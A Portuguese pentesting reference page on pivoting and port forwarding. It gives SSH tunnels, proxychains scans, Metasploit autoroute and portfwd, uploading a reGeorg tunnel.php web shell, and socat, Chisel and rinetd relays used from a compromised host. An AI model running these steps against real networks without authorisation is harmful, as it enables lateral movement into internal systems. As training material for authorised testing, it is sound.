Pivoting / Tunneling

Tunelamento SSH

DICA: Os encaminhamentos de porta SSH podem ser executados com usuários sem privilégios root, desde que apenas vinculemos portas locais não privilegiadas não utilizadas (acima de 1024).

Para melhor exemplificação, todos os exemplos abaixo teremos os seguintes hosts:

HOST

DESCRIÇÃO

192.168.15.5

Host atacante

192.168.15.10

Host alvo onde temos acesso

192.168.9.100

Segundo host alvo, onde não temos acesso direto. Somente 192.168.15.10 pode se comunicar com ele

Acessando portal local de host alvo como localhost em máquina atacante (atacante - > alvo)

Um túnel SSH serve para utilizarmos serviços que só são acessíveis na máquina remota de forma local. Por exemplo, vamos imaginar um cenário onde acessamos via SSH um determinado alvo, e esse alvo possui possui a porta 80 aberta que está acessível somente para acesso localhost. Então iremos utilizar o túnel SSH para acessarmos essa porta 80 em nossa máquina, e não na máquina alvo. Utilize o comando abaixo e depois abra o navegador acessando http://127.0.0.1, que iremos ter o conteúdo da máquina alvo disponível em nosso host.

ssh -L <remote-port>:127.0.0.1:<local-port> <user>@<ip>

Caso já tenha se conectado via SSH da forma tradicional (ssh <user>@<ip>) e queira depois fazer o port fowarding, pressione ~C, que você irá ser redirecionado para um shell ssh um pouco diferente (ssh>), então digite nele: -L <remote-port>:127.0.0.1:<local-port>

Acessando porta de um host em uma rede interna através de host alvo (atacante -> alvo)

No exemplo abaixo considere um host que tenha um IP acessível 192.168.15.10 e possui uma outra interface de rede (não acessível a internet ou ao host atacante). Essa outra interface de rede, se comunica com um host que possui o IP 192.168.9.100. No comando abaixo estamos nos comunicando com o host 192.168.15.10 via SSH (porta 22) e toda requisição que recebermos em nosso próprio IP (máquina atacante) na porta 445, irá ser redirecionado para o IP 192.168.9.100 na porta 445 através do encapsulamento SSH.

Execute o comando no host atacante

sudo ssh -N -L 0.0.0.0:445:192.168.9.100:445 <user>@192.168.15.10

DICA: Sempre que for fazer encaminhamento da porta 445, verifique se o alvo (no caso um Windows) aceite somente o SMBv2 habilitado. Caso positivo, adicione min protocol = SMB2 no final do arquivo /etc/samba/smb.conf e depois reinicie o serviço SMB com sudo service smbd restart.

Enviando porta local de host alvo para host atacante (alvo -> atacante)

Esse cenário é comum quando temos o SSH bloqueado para receber acessos no host alvo, porém a saída para acessar o SSH de outra máquina está liberada no firewall. Como exemplo, vamos imaginar um cenário onde o host alvo tem a porta 80 aberta, porém só é acessada internamente, então precisamos acessar essa porta na nossa máquina atacante como se fosse localhost.

Execute o comando no host alvo.

ssh -N -R 192.168.15.5:80:127.0.0.1:80 <user>@192.168.15.5

Encaminhando todas as portas de um host (atacante -> alvo)

Diferentemente das maneiras mostradas até então (que só encaminha um determinada porta), iremos agora acessar o host 192.168.9.100 (que até então só é acessado pelo host 192.168.15.10) através do host atacante (192.168.15.5). Para este exemplo, estamos utilizando a porta 8080.

Execute o comando no host atacante.

sudo ssh -N -D 127.0.0.1:8080 <user>@192.168.15.10

Ainda no host atacante, vamos editar o arquivo de configuração do Proxychains, localizado em /etc/proxychains.conf ou /etc/proxychains4.conf. No final do arquivo, adicione a seguinte linha (altere a porta 8080 para a mesma porta que utilizou no comando acima).

socks4	127.0.0.1	8080

Feito isso, já podemos acessar o host 192.168.9.100 como se estivéssemos em uma mesma rede. Por exemplo, para realizar um port scan, podemos utilizar o seguinte comando:

sudo proxychains nmap -F -sT -Pn 192.168.9.100 --open

NOTA: Por padrão, o ProxyChains irá ler seu arquivo de configuração primeiro do diretório atual, depois do diretório $(HOME)/.proxychains do usuário e, finalmente, do /etc/proxychains.conf ou /etc/proxychains4.conf. Isso nos permite executar ferramentas por meio de vários túneis dinâmicos, dependendo de nossas necessidades.

Tunelamento HTTP

Em alguns casos, não podemos utilizar o SSH como um recurso par túnel (por restrições nas regras de firewall do alvo), então precisamos utilizar outro serviço, e é aí que entra o HTTP.

Primeiro vamos instalar o HTTPTunnel (caso ainda não tenha).

sudo apt install httptunnel

Meterpreter

Maneira 1

Depois de conseguir o Meterpreter de um alvo, crie uma nova rota utilizando o post autoroute do Metasploit.

use post/multi/manage/autoroute
SET SESSION <session_id>
SET SUBNET <192.168.1.0>
exploit

Outra maneira de fazermos isso, é executando o comando abaixo:

setg proxies socks4:127.0.0.1:<port>

Maneira 2

route add <ip_alvo>/32 <session>
route print

use auxiliary/servers/socks/proxy

proxychains ping <ip_alvo>

Caso precise acessar via web, utilize o Foxy Proxy, configurando-o como SOCKS5 e IP 127.0.0.1 na porta 1080.

reGeorg

Primeiro faça o upload do arquivo tunnel.php (utilize o arquivo com a extensão correta, de acordo com a aplicação web alvo) e verifique via browser se é possível acessar esse arquivo. Se estiver ok, irá ver a mensagem: Georg Says, 'All seems fine'. Agora no terminal, execute:

python reGeorgSocksProxy.py -u <http://site.com/tunnel.php> -p 9050

Feito isso podemos utilizar o proxychains para realizarmos quaisquer operações utilizando o host alvo como ponte de acesso.

proxychains <command>

Vá no firefox, acesse na barra de navegação about:config e altere network.proxy.allow_hijacking_localhost para true. Feito isso, configure o proxy do Firefox para a porta 127.0.0.1 na 9050, utilizando SOCKS4.

Agora podemos acessar a página web da máquina externa no nosso navegador, atravá da URL http://127.0.0.1

Socat

socat TCP4-LISTEN:<local_port>,reuseaddr,fork TCP4:<dst_ip>:<dst_port>

# Encaminhando conexão externa na porta 8888 e redirecionando para a porta 22 interna
socat tcp-listen:8888,reuseaddr,fork tcp:localhost:22

# Redireciona requisição que chega na porta 80, para a porta 8001 do host 192.168.1.3
sudo socat tcp-listen:80,reuseaddr,fork tcp:192.168.1.3:8001

Agora podemos acessar o serviço SSH através do tunelamento com o seguinte comando:

ssh -p <port_pivot> <user_ssh>@<ip_pivot>

Chisel

# Atacante
./chisel server -p <port> --reverse

# Alvo
./chisel client <ip_atacante>:<port> R:<local_port>:127.0.0.1:<local_port>

SSH - Local Port Forwarding

Podemos também acessar determinado site passando pelo SSH e acessando em outra porta, assim estamos adicionando uma criptgrafia no acesso do site

ssh -L 8080:www.facebook.com:80 localhost
# Ou
ssh <user>@<ip_remote_machine> -L <local_port>:<target-ip>:<target_port>

E adicionalmente podemos fazer algo inverso, fazendo com que o host alvo (192.168.15.10) acesso o host atacante (192.168.15.5) via SSH e encaminhando algumas portas para o segundo host alvo (192.168.9.100).

ssh -R 2222:192.168.9.100:22 -R 8080:192.168.9.100:80 <user>@192.168.9.100

Dessa forma, ao acessarmos no nosso host atacante na porta local 2222, iremos ser redirecionados para a porta 22 do host 192.168.9.100 (no qual não possuíamos por padrão um acesso direto) e o mesmo vale a para a porta local 8080, quer será redirecionado para a porta 80.

Port Fowarding

SSH

Encaminhamento de portas

ssh <gateway> -R <remote port to bind>:<local host>:<local port>

ssh <user>@<ip> -D 9050

Meterpreter

Dentro do Meterpreter, execute os comandos

portfwd add -l <attacker_port> -p <victim_port> -r <victim_ip>

Agora na máquina local, acesse

nc 127.0.0.1 <port>

Rinetd

Caso não tenha instalado, utilize o comando:

apt install rinetd

O arquivo de configuração está localizado em /etc/rinetd.conf e é nele que configuramos uma fowarding, como no exemplo abaixo:

# bindadress     bindport   connectaddress   connectport
<ip_local>       <port>     <ip_other_host>  <port>

Sempre que alterar o arquivo de configuração do Rinetd, reinicie o serviço.

/etc/init.d/rinetd restart

---

Sites

# Pivoting com Meterpreter
https://www.youtube.com/watch?v=c0XiaNAkjJA
https://www.offensive-security.com/metasploit-unleashed/pivoting/

# reGeorg
https://github.com/sensepost/reGeorg

# Chisel
https://github.com/jpillora/chisel

PreviousPost Exploitation NextC2 (Command & Control)

Last updated 1 year ago